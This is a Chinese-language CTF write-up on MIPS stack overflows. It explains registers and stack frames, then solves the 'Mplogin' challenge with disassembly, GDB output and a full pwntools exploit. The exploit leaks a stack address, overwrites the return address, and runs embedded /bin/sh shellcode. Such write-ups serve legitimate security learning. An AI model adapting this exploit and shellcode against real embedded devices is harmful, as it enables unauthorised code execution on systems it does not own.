mips架构下的栈溢出利用

lxonz  1411天前

作者:lxonz@白帽汇安全研究院

这里以一道CTF的题为例,希望可以帮到在学习mips栈溢出的师傅,同时感谢轩哥的文章,简直是从胎教讲起,好评,还有4哥的指点!

在开始做题之前,我们需要知道一些前置的知识,首先是mips的寄存器。

我们先关注寄存器的别名,其中$fp/$s8,$ra,$sp,是这道题中需要重点看的几个寄存器

寄存器编号别名用途
$0$zero常量0(constant value 0)
$1$at保留给汇编器(Reserved for assembler)
$2-$3$v0-$v1函数调用返回值(values for results and ex pression evaluation)
$4-$7$a0-$a3函数调用参数(arguments)
$8-$15$t0-$t7暂时的(或随便用的)
$16-$23$s0-$s7保存的(或如果用,需要SAVE/RESTORE的)(saved)
$24-$25$t8-$t9暂时的(或随便用的)
$28$gp全局指针(Global Pointer)
$29$sp堆栈指针(Stack Pointer)
$30$fp/$s8栈帧指针(fr ame Pointer)
$31$ra返回地址(return address)

在函数的开始和结束,mips也有类似于压栈和出栈的操作,分别用sw(压栈),lw(出栈)

  • sw(Store Word):用于将源寄存器中的值存入指定的地址

  • lw(Load Word):用于从一个指定的地址加载一个word类型的值到寄存器中


mips的参数存在$a0-$a3如果有更多的参数存在栈上

.text:00400AEC  # =============== S U B R O U T I N E =======================================
.text:00400AEC
.text:00400AEC  # Attributes: bp-ba sed fr ame fpd=0x20
.text:00400AEC
.text:00400AEC  # int __cdecl main(int argc, const char **argv, const char **envp)
.text:00400AEC                 .globl main
.text:00400AEC main:                                    # DATA XREF: LOAD:00400388↑o
.text:00400AEC                                          # .text:00400658↑o ...
.text:00400AEC
.text:00400AEC var_10          = -0x10
.text:00400AEC var_8           = -8
.text:00400AEC var_s0          =  0
.text:00400AEC var_s4          =  4
.text:00400AEC
.text:00400AEC                 addiu   $sp, -0x28
.text:00400AF0                 sw      $ra, 0x20+var_s4($sp)
.text:00400AF4                 sw      $fp, 0x20+var_s0($sp)
.text:00400AF8                 move    $fp, $sp
.text:00400AFC                 li      $gp, 0x418E50
.text:00400B04                 sw      $gp, 0x20+var_10($sp)
.text:00400B08                 la      $v0, stdin
.text:00400B0C                 lw      $v0, (stdin - 0x410F08)($v0)
.text:00400B10                 move    $a1, $zero
.text:00400B14                 move    $a0, $v0
.text:00400B18                 la      $v0, setbuf
.text:00400B1C                 move    $t9, $v0
.text:00400B20                 jalr    $t9 ; setbuf
.text:00400B24                 nop
.text:00400B28                 lw      $gp, 0x20+var_10($fp)
.text:00400B2C                 la      $v0, stdout
.text:00400B30                 lw      $v0, (stdout - 0x410F18)($v0)
.text:00400B34                 move    $a1, $zero
.text:00400B38                 move    $a0, $v0
.text:00400B3C                 la      $v0, setbuf
.text:00400B40                 move    $t9, $v0
.text:00400B44                 jalr    $t9 ; setbuf
.text:00400B48                 nop
.text:00400B4C                 lw      $gp, 0x20+var_10($fp)
.text:00400B50                 lui     $v0, 0x40  # '@'
.text:00400B54                 addiu   $a0, $v0, 0xDCC  # "\x1B[33m"
.text:00400B58                 la      $v0, printf
.text:00400B5C                 move    $t9, $v0
.text:00400B60                 jalr    $t9 ; printf
.text:00400B64                 nop
.text:00400B68                 lw      $gp, 0x20+var_10($fp)
.text:00400B6C                 lui     $v0, 0x40  # '@'
.text:00400B70                 addiu   $a0, $v0, 0xDD4  # "-----we1c0me t0 MP l0g1n s7stem-----"
.text:00400B74                 la      $v0, puts
.text:00400B78                 move    $t9, $v0
.text:00400B7C                 jalr    $t9 ; puts
.text:00400B80                 nop
.text:00400B84                 lw      $gp, 0x20+var_10($fp)
.text:00400B88                 jal     sub_400840
.text:00400B8C                 nop
.text:00400B90                 lw      $gp, 0x20+var_10($fp)
.text:00400B94                 sw      $v0, 0x20+var_8($fp)
.text:00400B98                 lw      $a0, 0x20+var_8($fp)
.text:00400B9C                 jal     sub_400978
.text:00400BA0                 nop
.text:00400BA4                 lw      $gp, 0x20+var_10($fp)
.text:00400BA8                 lui     $v0, 0x40  # '@'
.text:00400BAC                 addiu   $a0, $v0, 0xDFC  # "\x1B[32m"
.text:00400BB0                 la      $v0, printf
.text:00400BB4                 move    $t9, $v0
.text:00400BB8                 jalr    $t9 ; printf
.text:00400BBC                 nop
.text:00400BC0                 lw      $gp, 0x20+var_10($fp)
.text:00400BC4                 lui     $v0, 0x40  # '@'
.text:00400BC8                 addiu   $a0, $v0, 0xE04  # "Now you getshell~"
.text:00400BCC                 la      $v0, puts
.text:00400BD0                 move    $t9, $v0
.text:00400BD4                 jalr    $t9 ; puts
.text:00400BD8                 nop
.text:00400BDC                 lw      $gp, 0x20+var_10($fp)
.text:00400BE0                 nop
.text:00400BE4                 addi    $fp, 4
.text:00400BE8                 lw      $ra, 0x20+var_s4($sp)
.text:00400BEC                 lw      $fp, 0x20+var_s0($sp)
.text:00400BF0                 addiu   $sp, 0x28
.text:00400BF4                 jr      $ra
.text:00400BF8                 nop

对应的伪代码

  int v3; // $a2
  int v5; // [sp+18h] [+18h]
  setbuf(stdin, 0, envp);
  setbuf(stdout, 0, v3);
  printf("\x1B[33m");
  puts("-----we1c0me t0 MP l0g1n s7stem-----");
  v5 = sub_400840();
  sub_400978(v5);
  printf("\x1B[32m");
  return puts("Now you getshell~");

以这段汇编为案例:

函数开始阶段

addiu   $sp, -0x28                开辟0x28的栈空间
sw      $ra, 0x20+var_s4($sp)     将ra压入0x24位置的栈空间
sw      $fp, 0x20+var_s0($sp)     将fp压入0x20位置的栈空间
move    $fp, $sp                  将sp的值存入fp

函数结束阶段

lw      $ra, 0x20+var_s4($sp)    将栈空间0x24的内容存入ra
lw      $fp, 0x20+var_s0($sp)    将栈空间0x20的内容还给fp
addiu   $sp, 0x28                回收0x28的栈空间
jr      $ra                      跳转到ra

补充一个知识点:

进入一个函数时需要将当前栈指针向下移动 n 比特,这个大小为n比特的存储空间就是此函数的 stack frame 的存储区域。此后栈指针便不再移动,只能在函数返回时再将栈指针加上这个偏移量恢复栈现场。由于不能随便移动栈指针,所以寄存器压栈和出栈都必须指定偏移量。

stack frame就是一个函数所使用的stack的一部分,所有函数的stack frame串起来就组成了一个完整的栈。stack frame的两个边界分别由FP和SP来限定。

这段知识点就是在描述案例的内容。

所以根据这段我们可以看出$ra和$fp是连着的,同时也可以判断其实var_s4不仅是对于栈的偏移量同时也是$ra,同理var_s0是$fp。

此时栈空间是这样的:

栈情况.png

上面是一个stack frame

再补充一个知识点:

栈.png

通过SP和FP所限定的stack frame,就可以得到调用者的SP和FP,从而得到调用者的stack frame,通过这个方法追溯,可以得到完整的函数调用顺序。

以上呢,就是mips函数调用和栈恢复的过程,熟悉了这套机制,我们就可以想办法利用了。

题目 Mplogin

root@iZ2ze7lesc0k6jujoawx4uZ:~/pwn/mips pwn# checksec Mplogin
[!] Could not populate PLT: Invalid memory write (UC_ERR_WRITE_UNMAPPED)
[*] '/root/pwn/mips pwn/Mplogin'
    Arch:     mips-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
root@iZ2ze7lesc0k6jujoawx4uZ:~/pwn/mips pwn# file Mplogin
Mplogin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

保护全无,mips32 小端序,启动的话直接qemu用户模式即可,具体的环境可以参考上一篇文章

https://nosec.org/home/detail/4634.html

主函数.png

主函数看不出什么,直接跟进给V5赋值的函数

V5函数.png

read虽然无溢出,但是由于没有封口,二次printf打印的时候会打印出一些额外的内容

打印.png

sub_400840的返回值,直接返回了v1的长度,如果我们把数据填满,返回的就是24

此时V5变成了24,然后将V5的值传入了函数sub_400978

978.png

第10行的read出现了明显的栈溢出,V3是传进来的a1+4变成了28,在通过V3的值来控制第12行的read的读入大小,程序的流程大概就是这样。

我们回到sub_400840,看看他到底给我们打印了什么,直接进入GDB调试,我们断点下在main函数在调用sub_400840的前一步,也就是这里0x400B88

断点.png

gdb-peda$ set architecture mips   //设置架构
The target architecture is assumed to be mips
gdb-peda$ set endian little      //设置端序
The target is assumed to be little endian
gdb-peda$ b *0x400B88            //下断点
Breakpoint 1 at 0x400b88
Breakpoint 1, 0x00400b88 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────[ REGISTERS ]────────────────────────────────────
 V0   0x25
 V1   0x1
 A0   0x767cd144 (_stdio_streams+92) ◂— 0x0
 A1   0x76fff628 —▸ 0x767d530a (m_sbox+12718) ◂— 0x0
 A2   0x1
 A3   0x0
 T0   0x767e61a0 —▸ 0x76731000 ◂— 0x464c457f
 T1   0x77cb3
 T2   0x0
 T3   0x0
 T4   0x767e6044 ◂— 0x0
 T5   0x1
 T6   0xfffffff
 T7   0x40056e ◂— 'puts'
 T8   0x1
 T9   0x76743000 (__write_nocancel) ◂— lui    $gp, 9 /* '\t' */
 S0   0x76806010 ◂— 0x0
 S1   0x4005d8 (_init) ◂— lui    $gp, 2
 S2   0x0
 S3   0x0
 S4   0x0
 S5   0x0
 S6   0x0
 S7   0x0
 S8   0x76fff670 —▸ 0x76806010 ◂— 0x0
 FP   0x76fff698 ◂— 0x0
 SP   0x76fff670 —▸ 0x76806010 ◂— 0x0
 PC   0x400b88 (main+156) ◂— jal    0x400840
─────────────────────────────────────[ DISASM ]─────────────────────────────────────
 ► 0x400b88 <main+156>    jal    _ftext+512 <0x400840>
    ↓
   0x400b90 <main+164>    lw     $gp, 0x10($fp)
   0x400b94 <main+168>    sw     $v0, 0x18($fp)
   0x400b98 <main+172>    lw     $a0, 0x18($fp)
   0x400b9c <main+176>    jal    _ftext+824 <0x400978>
   0x400ba0 <main+180>    nop    
   0x400ba4 <main+184>    lw     $gp, 0x10($fp)
   0x400ba8 <main+188>    lui    $v0, 0x40
   0x400bac <main+192>    addiu  $a0, $v0, 0xdfc
   0x400bb0 <main+196>    lw     $v0, -0x7f98($gp)
   0x400bb4 <main+200>    move   $t9, $v0
─────────────────────────────────────[ STACK ]──────────────────────────────────────
00:0000│ s8 sp  0x76fff670 —▸ 0x76806010 ◂— 0x0
01:0004│        0x76fff674 ◂— 0x0
02:0008│        0x76fff678 ◂— 0x2
03:000c│        0x76fff67c ◂— 0x1000
04:0010│        0x76fff680 ◂— 0x418e50
05:0014│        0x76fff684 —▸ 0x767aacc8 (__h_errno_location+40) ◂— lw     $ra, 0xc($sp) /* '\x0c' */
06:0018│        0x76fff688 —▸ 0x767d53c0 (m_sbox+12900) ◂— 0x0
07:001c│        0x76fff68c —▸ 0x4005d8 (_init) ◂— lui    $gp, 2

可以看到s8和sp都指向了0x76fff670,而s8是栈帧指针,sp是堆栈指针,在跳转函数之前,都指向了栈顶的地址。

泄露地址.png

同时我们在这里也可以看到泄露的地址即是栈顶的地址。

分析到这里思路基本上是有了,第一次输入泄露栈顶地址,第二次输入覆盖变量V3,第三次输入将shellcode写在栈上跳转执行。

第一次payload:"admin" + ‘a'*19 填满第一次read

第二次payload: "access" + "a"*14 + p32(0xabc) 填满第二次read并覆盖变量v3

第三次payload:”0123456789“ + "a"*30 + 栈顶地址 + shellcode 填满第三次read,将ra覆盖为栈顶地址并写入shellcode执行

shellcode我是从这里面找的,轩哥博客中给的方法也可以。

https://www.exploit-db.com/shellcodes/35868


最后补充一点

move.png

在sp将值存入fp之前,sp是0x76fff670,在执行完这条语句之后的效果如下

move之后.png

执行完之后可以看到s8的值跟sp相同,说明实际上是move $s8, $sp,可能是pwndbg的问题,希望有明白的师傅可以后续指点我一下。

exp:

from pwn import *
context.log_level = "debug"
context.arch = "mips"
context.endian = "little"
shellcode = "\xff\xff\x06\x28\xff\xff\xd0\x04\xff\xff\x05\x28\x01\x10\xe4\x27\x0f\xf0\x84\x24\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"
#p = remote("127.0.0.1", 1234)
p = process(["qemu-mipsel","-L","./","./Mplogin"])
p.recvuntil("Username : ")
payload = "admin" + "a"*19
p.send(payload)
p.recvuntil("a"*19)
stack_addr = u32(p.recv(4))
log.info("stack_addr--------->"+ hex(stack_addr))
p.recvuntil("Pre_Password : ")
payload = "access" + "a"*14 + p32(0xabc)
p.send(payload)
p.recvuntil("Password : ")
payload = "0123456789" + "a"*30 + p32(stack_addr) + shellcode
p.send(payload)
p.interactive()
#0x76fff2e0

最后的最后写的不对的地方希望看到文章的师傅们能指正,感激不尽

参考链接:

[1] https://xuanxuanblingbling.github.io/ctf/pwn/2020/09/24/mips/#

[2] https://b0ldfrev.gitbook.io/note/iot/mipsarm-hui-bian-xue-xi#1-ji-cun-qi

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

最新评论

昵称
邮箱
提交评论